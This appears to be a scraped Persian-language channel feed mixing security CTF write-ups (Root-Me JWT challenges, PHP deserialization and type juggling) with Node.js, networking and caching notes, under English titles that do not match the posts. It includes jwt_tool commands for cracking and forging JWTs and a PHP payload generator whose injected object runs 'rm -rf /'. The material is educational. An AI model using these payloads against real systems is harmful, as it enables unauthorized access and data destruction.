⤷ Title: Mengungkap Jejak Serangan XSS dan SQL Injection Menggunakan Wireshark
════════════════════════
𐀪 Author: Triadi W
════════════════════════
ⴵ Time: Tue, 28 Jan 2025 17:01:56 GMT
════════════════════════
⌗ Tags: #wireshark #merdekasiber #sql_injection #xss_attack

https://www.root-me.org/en/Challenges/Web-Server/JWT-Introduction

https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret

https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token

این سه تا چلنج برای آسیب پذیری که موقع encode کردن jwt پیش میاد هس
اولیش بر میگرده به اینکه تویه header الگوریتم encode کردنش none باشه و بعد یوزر رو هم ادمین کنین

دومیش هم با jwt_tool میشه secret که باهاش encode شده رو بدست آورد:

 python3 jwt_tool.py "jwt_token" -C -d /usr/share/wordlists/rockyou.txt  

و بعد بدست آوردن secret :

 python3 jwt_tool.py "JWT_token" -T -S hs512 -p "{secret}"

و تویه سومی هم که جذاب بود این بود که وقتی توکن رو ارسال می‌کرد سریع منقضی میشد و وارد بلک لیست میشد
ولی نکته اینجا بود که خود توکن وارد بلک لیست میشد نه آی دی json ! ( یه ای دی داشت واسه اینکه جلوی چند بار درخواست با اون توکن رو بگیره )
حالا میشه دو تا توکنی پیدا کرد که دقیقا Decode شدش مث هم باشه ولی دو تا ای دی جدا بده و حالا از بلک لیست خارج میشیم. یه همچین چیزی :
(×××.×××.×××) ==== (×××.×××.×××=)
( ینی توکن هسن 🦦)
در واقع decode شده ی =××× با ××× برابر هس.

ارسال به ایمیل کاربر برای مواقعی مثل Reset Pass :

const nodemailer = require('nodemailer');
const crypto = require('crypto');

const transporter = nodemailer.createTransport({  
    service: 'gmail',
    auth: {
        user: 'x@gmail.com', // Replace with your email
        pass: 'pass'     // Replace with your app password as Google Account Security
    }
});

// function for create pass token
function generateStrongPassword(){
    return new Promise((resolve, reject) => {
        crypto.randomBytes(32, (err, buffer) => {
            if (err) {
                reject(err);
            } else {
                const token = buffer.toString('hex');
                resolve(token);}
        });
    });
}
router.get('/forget_pass' , async(req , res) => { 
    res.render('forget_password')
})

router.post('/forget_pass' , async(req , res) => {

    const {email} = req.body ; 
    const user = await userModel.findOne({ where: { email } }); // find user
    if (user){
        const token = await generateStrongPassword() ; 
        // add in file {forget.pass.model.js}
        console.log(token)
        await ResetPassword.create({
            email: user.email , 
            token : token , 
            expire: Date.now() + 3600000
        })
        const resetUrl = `http://localhost:8000/auth/forget_pass/${token}`;
        const mailOptions = {
            from: 'x@gmail.com',
            to: user.email,
            subject: 'Password Reset Request',
            html: `
                <h1>Password Reset Request</h1>
                <p>You requested a password reset. Click the link below to reset your password:</p>
                <a href="${resetUrl}" style="
                   ...
                ">Reset Password</a>
                <p>This link will expire in 1 hour.</p>
                
            `
        };
        await transporter.sendMail(mailOptions);
        res.send("Email sent");

        console.log(token)
    }
    else{
        res.redirect('/auth/login')
    }
})

اقا app password رو کامیت نکنین
با یه .env ، بیاین Encrypt کنین🦦

فرض کنین بخوایم یه فایل 1 گیگ رو از سرور بخونیم و بدیم به کاربر و بخوایم به صورت ناهمزمان که قبلا گفتم ، اطلاعات فایل رو بفرستیم ( به این صورت fs.readFile )
حالا اگه سرور، Ram کمتر از یه گیگ داشته باشه کرش میکنه
اینجا stream ها میان کمک و داده ها رو به صورت chunk chunk ( بخش بخش ) میفرستیم و سریع اطلاعات پردازش میشن و اینطوری دیگه ram پر نمیشه و مستقیم به کلاینت ارسال میشن .
مثالشم :

const http = require('http');
const fs = require('fs');

http.createServer((req, res) => {
    const stream = fs.createReadStream('bigfile.txt', { encoding: 'utf8' });
    stream.pipe(res); 
}).listen(3000, () => console.log('httplocalhost:8080')); 

اینجا stream.pipe میاد مستقیم اطلاعات رو به کلاینت میده .

https://github.com/n8n-io/n8n

وارد دوره جدیدی از ایجنتا داریم میشیم 🦦

⤷ Title: PHP Type Juggling Vulnerabilities: How Attackers Exploit Loose Comparisons
════════════════════════
𐀪 Author: Amal PK
════════════════════════
ⴵ Time: Thu, 06 Feb 2025 15:02:16 GMT
════════════════════════
⌗ Tags: #bug_bounty #bug_bounty_tips #programming #hacking #cybersecurity

Serialization

کلا وقتی بیایم یه object رو به یه رشته یا فرمت باینری در بیاریم به این کار میگن Serialization .

چرا اصلا این کارو میکنیم ؟
یه دلیل مهمش اینه که داده ها تویه شبکه باید به صورت رشته یا باینری انتقال داده بشن و یا کش کردن و ...

حالا یه آسیب پذیری Insecure Deserialization رخ میده و زمانی اتفاق می‌افته که ورودی کنترل‌نشده از کاربر مستقیماً توسط unserialize() پردازش بشه.

( این Deserialization ینی داده رو از رشته به object تبدیل کنیم )

کجا رخ میده ؟ بیشتر تویه کوکی ها ، session ها و ورودی های کاربر هست که میتونه باعث RCE که قبلا گفتم راجبش بشه

یکی از جاهایی که میتونه رخ بده استفاده از magic methods هاست مثلا اگه‌ کد آسیب پذیر این باشه :

class Evil {
    public $cmd;

    function __destruct() {
        system($this->cmd);
    }
}
if (isset($_COOKIE['session'])) {
    $data = base64_decode($_COOKIE['session']);
    $obj = unserialize($data);  
}
?>

میشه با این :

<?php
class Evil {
    public $cmd;

    function __destruct() {
        system($this->cmd);
    }
}

$evil = new Evil();
$evil->cmd = "rm -rf /";  

$payload = base64_encode(serialize($evil));
echo "Payload: " . $payload . "\n";
?>

میشه با این کد یه توکن ساخت و بعدش تویه قسمت کوکی هایی که برای کاربر ست میشه قرار بدیم . بعد __destruct صدا زده میشه و دستور اجرا میشه .
خب آقا همین طور که میبینین در اصل ما داریم object تزریق میکنیم به کد رویه سرور که بر خلاف حالا زبان های python و node js که میشه مستقیم code inject کرد. در اصل اصلا نمیشه بدون داشتن سورس کد رویه سرور های php، این آسیب پذیری رو روش تست کرد مگه اینکه بشه حدس زد کدش رو .

https://www.root-me.org/en/Challenges/Web-Server/PHP-Serialization?lang=en

آقا تویه این چلنجه هم مث همین بالا Deserialization انجام می‌داد ولی یه چی که مهم بود اینه که type واسش مهم بود
کلا Type Juggling داشت

وقتی رخ میده که کلا نوع داده رو تغییر میده مثلا :

var_dump("0e12345" == "0e67890"); true
حالا یه تیکه سورس کدش این بود :

    if ($data['password'] == $auth[ $data['login'] ] ) {
        $_SESSION['login'] = $data['login'];

که Type Juggling داشت و با این روش باید object inject میکردیم
گفتم اینم ببینین که فقط magic method نباشه 🦦

یه قسمت نیاز داشتیم برای ارتباط بین ادمین ها که دیدم بحث خوبیه 🦦

وب سوکت (WebSocket) یه پروتکل ارتباطیه که دو تا ویژگی داره : real time و full duplex . ینی به صورت همزمان و در لحظه امکان ارتباط بین کلاینت و سرور رو برقرار میکنه
حالا چطوری ارتباط میگیره ؟
اولش از طریق HTTP یه درخواست ساده ارسال میشه و تویه هدر درخواستش یه سری هدر های خاص مث ( Upgrade) هس که نشون میده کلاینت میخواد بره رویه از HTTP بره رویهWebSocket ( که همچنان رویه tcp کار میکنه) که اگه سرور موافقت کنه یه اتصال دائمی و دوطرفه برقرار می‌شه که در آن، کلاینت و سرور می‌تونن در هر لحظه داده ارسال و دریافت کنند بدون اینکه نیاز به ایجاد مجدد اتصال باشه.
( اطلاعات چتا رو رویه MongoDB سیو کردم)

کتاب یکم مفاهیمش قدیمی هس و فریم‌ورک‌های جدیدی رو زیاد توضیح نمیده
ولی مفاهیم پایه رو خوب گفته . در کل بد نبود 🦦

خب آقا دیدم این مبحث هم تویه شبکه مثل بحث های معماری جذابه 🦦😂

ببینین برای ارسال داده ها رویه بستر شبکه دو روش داریم :
یکیش استفاده از packet switching هست و یکی دیگه استفاده از circuit switching

تویه packet switching به این صورت عمل میکنه که داده ها به صورت packet های مختلف وارد route ها میشن و بعد بر اساس پهنای باند بین هر route داده ها انتقال پیدا میکنن .(البته یه شرطی هست که باید هر پکت به صورت کامل بین هر route ارسال بشه و بعد پراکسی بشه به router بعدی ) و البته مسیر ارسال هر داده یکسان نیست و میتونه واسه پکت های مختلف مسیر های متفاوتی داشته باشه .
حالا تویه packet switching یه مشکلی هست و اونم ازدحام پکت هاست . هر route یک مموری ثابتی داره که اگه بیشتر از حد داده روش به صورت صف ذخیره بشه برای ارسال ممکن هست داده drop یا loss بشه
از این روش برای ارسال data بیشتر استفاده میشه مثال هاشم مثل tcp/ip , voIP , ...


تویه circuit switching اول برای برقراری یه call Setup رخ میده و در اصل router ها دنبال یک مسیر و لینک کردن ثابت بین سرور و کلاینت هستن
با این کار یک مسیر دائمی تشکیل میشه و میشه داده ها بدون اینکه ازدحام رخ بده ارسال بشن
دو تا رویکرد داریم واسه تشکیل لینک بین سرور و کلاینت : TDM , FDM
تویه FDM فرض کنین اگه فرکانس بین router ها ۱۰۰ گیگ بر ثانیه باشه این میاد بین یوزر های مختلف ولی در تایمی که ارتباط هنوز فعاله اون مسیر مال خودشه .
تویه TDM بر اساس زمان تقسیم بندی میشن ولی اون مدت زمانی که دست هر یوزر هست کل فرکانس بین ها route دست یک نفره . مثال استفاده هاشم هم تویه ATM ها و تلفن های ثابت و ... هست

اما نکته مهمی که هست اینه که درسته تویه circuit switching یه ارتباط دائمی داریم ولی همین خوبیش میتونه به عنوان بدیش تموم بشه 😂
یعنی حتی وقت هایی که یوزر کاری با سرور نداره باز هم بخشی از فرکانس دست اون هست و در این صورت تعداد یوزر کمتری می‌تونن وصل بشن
ولی تویه packet switching درسته که بعضی از مواقع که تعداد درخواست ها خیلی بالا میره و ازدحام میشه ولی اوب اینکه یوزر ها همیشه در حال ارسال داده نیستن و دوم اینکه میتونیم رویه تایم های خالی که داریم سرشکن کنیم و بهتر بتونیم از زمان استفاده کنیم و تعداد یوزر بیشتری می‌تونن تویه شبکه باشن
اون بخش ازدحام رو هم میشه حل کرد مثلا :

بعضی پروتکل‌ها (مثلاً TCP) Congestion Control دارن که باعث میشه اگه شبکه شلوغ بشه، سرعت ارسال داده رو کم کنن تا بسته‌ها کمتر Drop بشن ولی تویه UDP این کنترل وجود نداره، برای همین توی استریم و VoIP گاهی قطع و وصلی داریم.
یا اگه تویه یه شرایط خاص داشتیم که تاخیر خیلی مهم بود میشه از QoS استفاده کرد که میاد بسته های مهم تر رو زود تر ارسال میکنه .

#network

Over $1.46 billion worth of cryptocurrency was stolen from Bybit's Ethereum cold wallet in the largest crypto heist to date, reportedly orchestrated by the Lazarus Group.

The attack masked the signing interface, tricking the wallet into transferring funds to an unknown address.

Learn more: https://thehackernews.com/2025/02/bybit-confirms-record-breaking-146.html

داشتم درمورد بالابردن سرعت انتقال دیتا بین کلاینت و دیتابیس میخوندم دیدم بحث جالبیه 🦦

حالا علاوه بر اینکه میتونیم Query ها رو بهینه بنویسیم و هم از Parallel Processing تویه CPU ها استفاده کنیم(پزدازش ها به صورت موازی انجام میشن بین cpu ها)، میشه یه سری دیتا ها رو از دیسک تویه رم ذخیره که میشه تویه سطح‌های مختلف تست کرد.

میشه تویه سمت دیتابیس یا از Redis استفاده کنیم که خب یکم مشکله اگه قبلا دیتا ها رویه MySQL باشن اذیت میشیم و اینکه دیتا رویه رم و دیسک باید با هم sync باشن و هم میشه از Memory Table تویه MySQL استفاده کرد که خب مثل این میمونه یه تیکه از دیتابیس که تویه دیسکه اومده تویه رم اما مشکلش اینه اگه دیتایی تغییر کرد چون نمیشه به صورت خودکار sync کرد بین رم و دیسک، به مشکل میخوریم.
برای رفع مشکل هر دو هم میتونیم از write-through caching استفاده کنیم که دیتا دیسک و رم با هم سینک بشن.

به غیر سطح دیتابیس میشه تویه سطح‌های سرور و حتی کلاینت استفاده کنیم.
مثلا تویه سرور از کش کردن با Redis یا تویه کلاینت با استفاده از Local Storage یا sessionStorage که خب حجم زیادی ندارن و برای هر یوزر خاص کاربرد دارن.